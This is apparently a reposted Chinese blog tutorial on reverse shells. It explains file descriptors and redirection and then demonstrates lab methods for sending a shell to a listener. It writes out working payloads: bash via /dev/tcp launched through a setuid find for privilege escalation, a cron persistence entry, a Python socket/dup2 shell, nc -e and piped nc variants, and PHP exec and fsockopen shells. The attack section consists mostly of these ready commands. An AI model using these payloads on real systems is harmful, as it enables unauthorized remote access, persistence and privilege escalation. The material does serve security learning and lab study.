浅谈反弹shell

news2024/11/24 5:37:48

目录

  • 反弹shell总结
    • 一、文件描述符
    • 二、重定向
      • 1、输入重定向
      • 2、输出重定向
      • 3、错误输出重定向
      • 4、exec 绑定重定向
    • 三、实现反弹shell的几种方式
      • 方法一: find 反弹
        • ubuntu find反弹shell失败的问题
        • 任务计划反弹shell失败的问题
      • 方法二:使用python反弹,kali、ubuntu 分别监听
      • 方法三、使用nc反弹shell(未复现)
      • 方法四、使用php反弹shell
        • 1、使用php的exec函数执行方法1反弹shell的命令:
        • 2、使用php的fsockopen去连接远程:
    • 四、nc 命令使用

反弹shell总结

一、文件描述符

可以理解为linux跟踪打开文件,而分配的一个数字
liunx 默认 有三个文件描述符0,1,2
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
数据流向
注意:一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符。

一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是其他设备,那我们就需要重定向。

二、重定向

重定向主要分为两种:

(1)输入重定向 < <<
(2)输出重定向 > >>
重点
1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向。

2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果

1、输入重定向

输入重定向就是改变输入的方向,不再使用键盘作为命令输入的来源,而是使用文件作为命令的输入
输入重定向

2、输出重定向

标准输出重定向

>>>
覆盖追加

world > cdx.file 以覆盖的方式,把正确输出结果输出到 cdx.file 文件中
world >> cdx.file 以追加的方式,把正确输出结果输出到 cdx.file 文件中。
输出重定向

3、错误输出重定向

/tmp/errror.txt > /tmp/error.log 2>&1

4、exec 绑定重定向

上面的输入输出重定向将输入和输出绑定以后,只对当前的指令有效。

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.137.138/12345 0>&1 \;

三、实现反弹shell的几种方式

方法一: find 反弹

centos目标机192.168.137.131
kali源机192.168.137.138

kaii 上开启监听

nc -nlvp 12345

centos 用find命令做重定向

#提权
[root@www ~]# chmod u+s /usr/bin/find
#切换用户
[root@www ~]# su tang
#查看权限
[tang@www root]$ ls -al /usr/bin/find
-rwsr-xr-x. 1 root root 199200 Nov 20  2015 /usr/bin/find
[tang@www root]$ find /etc/passwd -exec whoami \;
root
#做反弹shell
[tang@www root]$ find /etc/passwd -exec bash -ip >& 	/dev/tcp/192.168.137.138/12345 0>&1 \;

kail
在这里插入图片描述
centos
在这里插入图片描述
bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。

本地的输入输出流向
在这里插入图片描述
执行bash -i >& /dev/tcp/ip/port后
在这里插入图片描述
执行bash -i >& /dev/tcp/ip/port 0>&1或者bash -i >& /dev/tcp/ip/port 0>&2后:
在这里插入图片描述

ubuntu find反弹shell失败的问题

目标
centosubuntu

centos 上做监听,ubuntu做find 反弹shell
但是在 ubuntu上做find 反弹shell 出现了点问题,失败了!

在这里插入图片描述
显示没有 路由,但是却可以ping 通,这就很不合理
在这里插入图片描述
但是查看路由,却显示有,这就很奇怪
我们查看一下,是不是防火墙的问题
iptables -F 冲刷一下centos的防火墙,再次监听。然后ubuntu find反弹shell(没做测试,没安docker,怕出问题。)
在这里插入图片描述
显然可以成功

任务计划反弹shell失败的问题

/var/spool/cron/crontabs/目录下创建任务计划文件去反弹shell时,发现shell并不能反弹到自己的centos上

任务计划文件

cd /var/spool/cron/crontabs
vim root
内容如下
* * * * * /bin/bash -i >& /dev/tcp/192.168.137.131/12345 0>&1

需要特别注意的一点是这的root文件的权限必须为600,否则会出现cron[53948]: (root) INSECURE MODE (mode 0600 expected)的错误,会影响到后面的实验

在这里插入图片描述
在这里插入图片描述
改完权限后查看日志,发现出现新的问题
CRON[55318]: (CRON) info (No MTA installed, discarding output)

这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh

ls -al /bin/sh

可以看到/bin/sh其实是一个软连接文件,在ubuntu中 它指向指向了dash,而我们反弹shell使用的shell环境是bash,所以这一点是反弹出错的根本原因

而之前的centos可以能成功,因为centos中 /bin/sh的指向 bash

方法二:使用python反弹,kali、ubuntu 分别监听

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.137.135/138',12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

在这里插入图片描述
kali
在这里插入图片描述
ubuntu
在这里插入图片描述
首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为3。就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3)
接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了

方法三、使用nc反弹shell(未复现)

CentOS6.5安装nc方法如下:

1、下载安装
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local
mv netcat-0.7.1 netcat
cd /usr/local/netcat
./configure
make && make install
2、配置
vim /etc/profile
添加以下内容:
# set  netcat path
export NETCAT_HOME=/usr/local/netcat
export PATH=$PATH:$NETCAT_HOME/bin
保存,退出,并使配置生效:
source /etc/profile
3、测试
nc -help成功

kali 做监听

nc -nlvp 12345

在CentOS上使用nc去反向连接

nc -e /bin/bash 192.168.137.138 12345

这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程.

注意之前使用nc监听端口反弹shell时都会有一个警告:Warning: forward host lookup failed for bogon: Unknown host,根据nc帮助文档的提示加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析。

如果nc不支持-e参数的话,可以利用到linux中的管道符

首先在kali上开启监听:
nc -nvlp 12345
nc -nvlp 54321
在CentOS上使用nc去反向链接:
nc 192.168.137.138 12345|/bin/bash|192.168.137.138 54321

这里通过在kali上监听两个端口,然后在使用CentOS进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的6666端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的7777端口。
在这里插入图片描述

方法四、使用php反弹shell

1、使用php的exec函数执行方法1反弹shell的命令:

php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.137.138/7777");'

在这里插入图片描述
在这里插入图片描述

2、使用php的fsockopen去连接远程:

php -r '$sock=fsockopen("192.168.137.138",12345);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

在这里插入图片描述
在这里插入图片描述

四、nc 命令使用

nc 命令 是 ncat 的软链接。ncat 与 cat 有着相似的作用
nc 常用:

  • 侦听任意端口,以TCP/UDP 方式
  • 端口扫描
  • 传输文件
  • 测速

常用命令:

  • 1 -l
    用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
  • 2-p
    限制数据发送原端口
  • 3 -s
    指定发送数据的源IP地址,适用于多网卡机
  • 4 -u
    指定nc使用UDP协议,默认为TCP
  • 5 -v
    输出交互或出错信息,新手调试时尤为有用
  • 6 -w
    超时秒数,后面跟数字
  • 7 -z
    表示zero,表示扫描时不发送任何数据
  • 8 -n
    表示在建立连接之前不对主机进行dns解析
    常用组合-nlvp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/157648.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flink系列-4、Flink运行架构

版权声明&#xff1a;本文为博主原创文章&#xff0c;遵循 CC 4.0 BY-SA 版权协议&#xff0c;转载请附上原文出处链接和本声明。 大数据系列文章目录 官方网址&#xff1a;https://flink.apache.org/ 学习资料&#xff1a;https://flink-learning.org.cn/ 目录Flink基石Fli…

刚当上leader,我让组员去开会,他非说有更重要的会

☆ 职场上经常有那么一种情况就是组长喊组员开会&#xff0c;开周会&#xff0c;开晨会&#xff0c;开各种会&#xff0c;而更有一种常见的情况呢就是组长缺失威严&#xff0c;喊组员开会&#xff0c;组员不听话&#xff0c;说有更重要的会议&#xff0c;不想参加。 ☆ 本文将以…

VIT学习心得

来源&#xff1a;投稿 作者&#xff1a;橡皮 编辑&#xff1a;学姐 小声逼逼 在过去的两年里&#xff0c;Vision Transformer(ViT)是计算机视觉(cv)领域最有影响力的工作之一。「它推翻了2012年在Alex net中提出的CNN在CV领域的统治地位&#xff1a; 当能够获得足够多的预训练…

无接触式磁旋转编码器AS5040介绍

无接触式磁旋转编码器AS5040简介AS5040 是一款无接触式磁旋转编码器&#xff0c;用于精确测量整个360内的角度。此产品是一个片上系统&#xff0c;在单个封装内整合了集成式Hall 元件、模拟前端和数据信号处理功能。测量角度时&#xff0c;只需简单地配备1 个在芯片中心上方旋转…

Spring5的全细节回顾总结

概述&#xff1a; https://cntofu.com/book/95/33-what-new-in-the-spring-framework.md 这个不错。 轻量级javaee框架。 针对于bean的生命周期进行管理。 解决企业应用开发的复杂性。 核心&#xff1a; ​ IOC&#xff1a;控制反转&#xff0c;把创建对象的过程交给sprin…

第一天 Blender操作 | 大帅老猿threejs特训【超详细】

前言 这一天主要是基础理论的学习。 本人学习资料仓库 https://gitee.com/zhang_dezheng_hsr/three-demo.git YCY-TrainingCamp-S2: 在原有的文件上添加本人的学习记录 第一天 Blender操作 | 大帅老猿threejs特训【超详细】【我在掘金的同名文章】 一、大纲 二、THREE 基础概…

Linux查看某个应用的CPU/内存/网卡使用情况

1.查看CPU的使用率 # ps -ef | grep zabbix 进程号是1715 # top -p 1715 可以看到CPU的使用率是0 &#xff0c; 内存的使用率是0 2.查看内存真实使用了多少 #cat /proc/[pid]/status #cat /proc/1715/status VmPeak:进程所使用的虚拟内存的峰值 VmSize: 进程当前使用…

22.字符串初始化方法及赋值,字符串和指针总结

目录 初始化 1.字符数组初始化 2.指针指向文字常量区&#xff0c;初始化 3.指针指向堆区&#xff0c;堆区存放字符串 使用时赋值 1.字符数组&#xff0c;使用scanf或者strcpy 2.指针指向文字常量区 3.指针指向堆区&#xff0c;堆区存放字符串 初始化 1.字符数组初始化 …

各国家语言代码对照表

来源如下 Language Code Tablehttp://www.lingoes.cn/zh/translator/langcode.htm 详情如下 语言代码语言名称af南非语af-ZA南非语ar阿拉伯语ar-AE阿拉伯语(阿联酋)ar-BH阿拉伯语(巴林)ar-DZ阿拉伯语(阿尔及利亚)ar-EG阿拉伯语(埃及)ar-IQ阿拉伯语(伊拉克)ar-JO阿拉伯语(约旦…

万字详解 Linux 网络管理

万字详解 Linux 网络管理1.Linux处理数据包过程2.和网络相关的几个文件说明网卡配置文件ifcfg-*DNS配置文件/etc/resolv.conf&#xff08;CentOS6环境&#xff09;/etc/services3.网络接口配置和主机名ifconfigifcfghostname命令4.网关/路由5.网关/路由相关命令route命令配置永…

netty(1):NIO 基础之三大组件

1 三大组件 1.1 Channel & Buffer channel 有一点类似于 stream&#xff0c;它就是读写数据的双向通道&#xff0c;可以从 channel 将数据读入 buffer&#xff0c;也可以将 buffer 的数据写入 channel&#xff0c;而之前的 stream 要么是输入&#xff0c;要么是输出&…

如何用idea快速的debug本地程序

介绍大家都经常用idea开发, 开发过程中运行程序就会出现各种意料之外的异常, 如果解决这些异常, 尤其是三方jar包抛出的异常,就是一个很关键和棘手的问题.配置环境在第一个选项位置点开后会弹出配置页面,里面可以配置一些启动需要的环境变量.第二个是debug启动按钮第三个是程序…

SQL 优化方案(规范)

SQL优化1、SQL执行顺序2、前置条件2.1、使用explain分析SQL执行计划2.2、开启慢sql日志2.3、慢查询时间设置。默认情况下long_query_time的值为10秒&#xff0c;可以使用命令修改&#xff0c;也可以在my.cnf参数里面修改。3、基础Sql优化3.1、小表驱动大表3.2、高效的分页3.3、…

【linux入门】Linux基础知识学习笔记

文章目录【第一章-宏观知识】1.硬件和软件的关系2.操作系统 是什么、作用是什么3.常见的操作系统4.Linux的诞生5.Linux内核 是什么6.Linux发行版 是什么7.WSL是什么8.虚拟机快照9.FinalShell&#xff08;Xshell替代品&#xff09;【第二章-Linux基础命令】1.Linux目录结构2.什么…

Linux下ElasticSearch安装和基本使用

安装 下载安装目录:/home/es-7.12.0 es启动用户:zmsz 出于安全考虑,elasticsearch默认不允许以root账号运行,所有一定要创建一个其他用户执行启动命令,不然一定会报错!! 创建用户:useradd zmsz 设置密码:passwd zmsz下载解压 下载:官网 以最新版8.6为准,执行wget …

MySQL中的limit分页的使用

SQL准备 create table tb_students (id int auto_increment primary key comment 主键ID,studentid char(9) unique not null comment 学生学号,name varchar(10) not null comment 学生姓名,gender char(1) not null comment 学生性别 ) comment 学生表;insert into tb_stude…

【机器学习 - 2】:数据集的处理

文章目录训练集和数据集分离获取最优模型超参数寻找最优模型网格搜索的使用训练集和数据集分离 训练集和数据集分离的原理&#xff1a;当我们获取一个数据集时&#xff0c;我们需要将其一小部分拿出来作为测试集&#xff0c;剩余的作为训练集。例如对于一个训练集&#xff0c;将…

RocketChip RISC-V生成RTL到仿真全流程

一、Scala配置项修改和RTL代码生成可以通过对scala中的配置项修改&#xff0c;来达到定制化配置RISC-V的目的&#xff0c;这里总结几个比较常用的配置项、配置项含义和所在的scala中的位置&#xff1a;1.$rocket-chip/src/main/scala/system/Config.scala1&#xff09;new With…

机器学习-2-安装Python 3.6和Pytorch 1.1.0

0. 说明&#xff1a; 之前根据GPU版本安装了CUDA 9.0&#xff0c;因此现安装与CUDA 9.0相对应的Pytorch版本&#xff0c;但在安装Pytorch之前要先确认一下Python的版本。 1. 查看 CUDA 9.0 对应的 Pytorch 从https://pytorch.org/get-started/previous-versions/中查找CUDA …

程序的机器级表示part1——程序编码与数据格式

目录 1. 汇编语言和机器级语言 1.1 不同的编程语言 1.2 Linux下的汇编语言 2. 程序编码 1.1 机器级代码 1.2 代码示例 3. 数据格式 本文基于CSAPP第三章撰写&#xff0c;主要介绍部分x86-64汇编的相关知识&#xff0c;后续会将该部分内容慢慢完善&#xff08;PS&a…